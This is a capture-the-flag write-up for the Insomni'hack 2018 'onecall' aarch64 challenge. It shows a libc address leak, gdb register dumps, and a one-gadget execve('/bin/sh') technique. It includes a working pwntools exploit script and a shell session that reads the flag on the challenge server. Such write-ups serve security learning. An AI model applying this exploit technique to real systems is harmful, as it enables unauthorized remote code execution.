onecall was an exploitation challenge in Insomni’hack teaser 2018.
The binary is an ELF for ARM aarch64 architecture.
$ file onecall
onecall: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, for GNU/Linux 3.7.0, BuildID[sha1]=a079105939125d9b24caa2c6716681681da99011, stripped
We can run it locally with qemu-aarch64.
./qemu-aarch64 -nx -L ./ ./onecall
- add -g 1234 flag to wait for gdb connection on port 1234
The binary leaks libc address, and allows to user to enter something.
$ ./qemu-aarch64 -nx -L ./ ./onecall
0000000000400000-0000000000401000 r-xp 00000000 08:05 2621653 /home/thomas/Documents/Hacking/Insomni'hack/2018/onecall/onecall-efe64fb18c06fbc4ce1c2ae4e7679e14c19ac293d04bdbd13b7d6babe49728b8/onecall
0000000000410000-0000000000411000 r--p 00000000 08:05 2621653 /home/thomas/Documents/Hacking/Insomni'hack/2018/onecall/onecall-efe64fb18c06fbc4ce1c2ae4e7679e14c19ac293d04bdbd13b7d6babe49728b8/onecall
0000000000411000-0000000000412000 rw-p 00001000 08:05 2621653 /home/thomas/Documents/Hacking/Insomni'hack/2018/onecall/onecall-efe64fb18c06fbc4ce1c2ae4e7679e14c19ac293d04bdbd13b7d6babe49728b8/onecall
00000000060c8000-00000000061f6000 r-xp 00000000 08:05 2621733 /home/thomas/Documents/Hacking/Insomni'hack/2018/onecall/onecall-efe64fb18c06fbc4ce1c2ae4e7679e14c19ac293d04bdbd13b7d6babe49728b8/lib/libc.so.6
00000000061f6000-0000000006205000 ---p 0012e000 08:05 2621733 /home/thomas/Documents/Hacking/Insomni'hack/2018/onecall/onecall-efe64fb18c06fbc4ce1c2ae4e7679e14c19ac293d04bdbd13b7d6babe49728b8/lib/libc.so.6
0000000006205000-0000000006209000 r--p 0012d000 08:05 2621733 /home/thomas/Documents/Hacking/Insomni'hack/2018/onecall/onecall-efe64fb18c06fbc4ce1c2ae4e7679e14c19ac293d04bdbd13b7d6babe49728b8/lib/libc.so.6
0000000006209000-000000000620b000 rw-p 00131000 08:05 2621733 /home/thomas/Documents/Hacking/Insomni'hack/2018/onecall/onecall-efe64fb18c06fbc4ce1c2ae4e7679e14c19ac293d04bdbd13b7d6babe49728b8/lib/libc.so.6
000000000620b000-000000000620f000 rw-p 00000000 00:00 0
0000000025ec8000-0000000025ee9000 rw-p 00000000 00:00 0
0000000031644000-0000000031660000 r-xp 00000000 08:05 2621658 /home/thomas/Documents/Hacking/Insomni'hack/2018/onecall/onecall-efe64fb18c06fbc4ce1c2ae4e7679e14c19ac293d04bdbd13b7d6babe49728b8/lib/ld-linux-aarch64.so.1
0000000031660000-0000000031670000 ---p 00000000 00:00 0
0000000031670000-0000000031671000 r--p 0001c000 08:05 2621658 /home/thomas/Documents/Hacking/Insomni'hack/2018/onecall/onecall-efe64fb18c06fbc4ce1c2ae4e7679e14c19ac293d04bdbd13b7d6babe49728b8/lib/ld-linux-aarch64.so.1
0000000031671000-0000000031673000 rw-p 0001d000 08:05 2621658 /home/thomas/Documents/Hacking/Insomni'hack/2018/onecall/onecall-efe64fb18c06fbc4ce1c2ae4e7679e14c19ac293d04bdbd13b7d6babe49728b8/lib/ld-linux-aarch64.so.1
0000000043a0f000-0000000043a10000 rw-p 00000000 00:00 0
000000005b7f1000-000000005b7f2000 rw-p 00000000 00:00 0
00007f792419e000-00007f792419f000 ---p 00000000 00:00 0
00007f792419f000-00007f792499f000 rw-p 00000000 00:00 0 [stack]
Where do we go from here ?
The program will jump to given address, but we don’t control arguments (passed in X0 register) so we can’t call system("/bin/sh").
After some research, I found a trick called one-gadget RCE on DragonSector presentation. We can find a execve("/bin/sh",NULL,NULL) gadget (or something similar with exec… functions family) in libc.so to pop a shell.
With IDA Pro you can search for string “/bin/sh” references. This Piece of code above will store the address of “/bin/sh” in X0. It create also an array pointed by X1 which contains the address of “/bin/sh” following by X23 value.
The following block call execve. If X0 point to string “/bin/sh”, and X1 point to a array { “/bin/sh”, NULL} and X2 set to NULL it will pop a shell.
But before executing it:
- first argument X1 must point to a valid and writable address.
- argv must be terminated by NULL, so X23 must contain NULL.
- second argument, X2 depend of X20, so X20 must contain NULL.
We will examine CPU context with gdb before the call.
gdb-peda$ target remote :1234
Remote debugging using :1234
warning: No executable has been specified and target does not support
determining executable automatically. Try using the "file" command.
Warning: not running or target is remote
0x000000004c3adcc0 in ?? ()
gdb-peda$ b* 0x40097C
Breakpoint 1 at 0x40097c
gdb-peda$ c
Continuing.
gdb-peda$ info registers
x0 0x7ff2e6097b48 0x7ff2e6097b48
x1 0x4141414141414141 0x4141414141414141
x2 0x8 0x8
x3 0x7ff2e6097b48 0x7ff2e6097b48
x4 0x10 0x10
x5 0x18 0x18
x6 0xfefefefefeff3e1f 0xfefefefefeff3e1f
x7 0x7f7f7f7f7f7f7f7f 0x7f7f7f7f7f7f7f7f
x8 0x3f 0x3f
x9 0x3030393930366532 0x3030393930366532
x10 0x101010101010101 0x101010101010101
x11 0x2030303030303030 0x2030303030303030
x12 0x20302030303a3030 0x20302030303a3030
x13 0x2020202020202020 0x2020202020202020
x14 0x0 0x0
x15 0x4c3d9cc0 0x4c3d9cc0
x16 0x0 0x0
x17 0x411030 0x411030
x18 0xa03 0xa03
x19 0x4009e0 0x4009e0
x20 0x0 0x0
x21 0x0 0x0
x22 0x0 0x0
x23 0x0 0x0
x24 0x0 0x0
x25 0x0 0x0
x26 0x0 0x0
x27 0x0 0x0
x28 0x0 0x0
x29 0x7ff2e6097b30 0x7ff2e6097b30
x30 0x400974 0x400974
sp 0x7ff2e6097b30 0x7ff2e6097b30
pc 0x40097c 0x40097c
cpsr 0x60000000 0x60000000
fpsr 0x0 0x0
fpcr 0x0 0x0
x23 and x20 contain NULL but x1 doesn’t point to a writable address.
Before loc_9B9E we see that X1 take its value from SP, or from the result of malloc function which means that X1 will contain a valid and writable address.
I wrote a script to leak libc address and execute the gadget.
#!/usr/bin/python
from pwn import *
OFF_EXECL = 0x9B9E0
p = process("./run.sh")
#p = remote("onecall.teaser.insomnihack.ch",1337)
libc_leak = 0x0
while libc_leak == 0x00:
leak = p.recvline()
print(leak)
if "libc.so.6" in leak:
if "r-xp" in leak:
libc_leak = int(leak.split("-")[0],16)
print("libc_leak : %x" % libc_leak)
function = libc_leak + OFF_EXECL
print("call %x" % function)
p.send(p64(function))
p.interactive()
I tried to execute code at 0x9B9E0 but i got a sigsegv.
gdb-peda$ target remote :1234
Remote debugging using :1234
warning: No executable has been specified and target does not support
determining executable automatically. Try using the "file" command.
Warning: not running or target is remote
0x0000000046f77cc0 in ?? ()
gdb-peda$ c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
Warning: not running or target is remote
0x0000000071fb3a1c in ?? ()
gdb-peda$ disas 0x71fb3a1c-0x20,0x71fb3a1c+0x20
Dump of assembler code from 0x71fb39fc to 0x71fb3a3c:
0x0000000071fb39fc: sub w0, w21, #0x2
0x0000000071fb3a00: sub x0, x3, x0
0x0000000071fb3a04: lsl x3, x3, #3
0x0000000071fb3a08: lsl x0, x0, #3
0x0000000071fb3a0c: add x2, x19, x3
0x0000000071fb3a10: sub x0, x0, #0x8
0x0000000071fb3a14: add x3, x1, x3
0x0000000071fb3a18: add x19, x19, x0
=> 0x0000000071fb3a1c: ldr x0, [x2,#-8]!
0x0000000071fb3a20: cmp x2, x19
0x0000000071fb3a24: str x0, [x3],#-8
0x0000000071fb3a28: b.ne 0x71fb3a1c
0x0000000071fb3a2c: ldr x0, [x1]
0x0000000071fb3a30: mov x2, x20
0x0000000071fb3a34: bl 0x71fb31b0
0x0000000071fb3a38: mov x0, x24
gdb-peda$ info register $x2
x2 0x400000 0x400000
x2 points to the begining of the ELF in memory. x2 - 8 points to a invalid address.
X2 depends on X3 which depends on W21. If W21 is not NULL, X2 will point after the beginning of the ELF.
The above block, before address 0x9B9E0, will increment W21.
I tried to jump at 0x9B9A4 ( MOV W1,#0 ) and i got a shell x)
[+] Opening connection to onecall.teaser.insomnihack.ch on port 1337: Done
0000000000400000-0000000000401000 r-xp 00000000 ca:01 256112 /home/onecall/chall/onecall
0000000000410000-0000000000411000 r--p 00000000 ca:01 256112 /home/onecall/chall/onecall
0000000000411000-0000000000412000 rw-p 00001000 ca:01 256112 /home/onecall/chall/onecall
000000000661f000-0000000006640000 rw-p 00000000 00:00 0
000000000bd79000-000000000bd7a000 rw-p 00000000 00:00 0
0000000035b11000-0000000035c3f000 r-xp 00000000 ca:01 256115 /home/onecall/chall/lib/libc.so.6
libc_leak : 35b11000
call 35bac9a4
[*] Switching to interactive mode
0000000035c3f000-0000000035c4e000 ---p 0012e000 ca:01 256115 /home/onecall/chall/lib/libc.so.6
0000000035c4e000-0000000035c52000 r--p 0012d000 ca:01 256115 /home/onecall/chall/lib/libc.so.6
0000000035c52000-0000000035c54000 rw-p 00131000 ca:01 256115 /home/onecall/chall/lib/libc.so.6
0000000035c54000-0000000035c58000 rw-p 00000000 00:00 0
000000007db08000-000000007db24000 r-xp 00000000 ca:01 256114 /home/onecall/chall/lib/ld-linux-aarch64.so.1
000000007db24000-000000007db34000 ---p 00000000 00:00 0
000000007db34000-000000007db35000 r--p 0001c000 ca:01 256114 /home/onecall/chall/lib/ld-linux-aarch64.so.1
000000007db35000-000000007db37000 rw-p 0001d000 ca:01 256114 /home/onecall/chall/lib/ld-linux-aarch64.so.1
000000007ebf0000-000000007ebf1000 rw-p 00000000 00:00 0
00007fe3a5bba000-00007fe3a5bbb000 ---p 00000000 00:00 0
Where do we go from here ?
$ ls -la
total 2092
drwxr-xr-x 3 root root 4096 Jan 20 12:21 .
drwxr-x--- 3 onecall onecall 4096 Jan 19 23:14 ..
-rw-r--r-- 1 root root 34 Jan 19 23:33 flag.txt
drwxr-xr-x 2 root root 4096 Jan 18 22:12 lib
-rwxr-xr-x 1 root root 6216 Jan 19 22:37 onecall
-rwxr-xr-x 1 root root 2113112 Jan 19 22:55 qemu-aarch64
-rwxr-xr-x 1 root root 77 Jan 20 12:14 run.sh
$ cat flag.txt
INS{did_you_gets_here_by_chance?}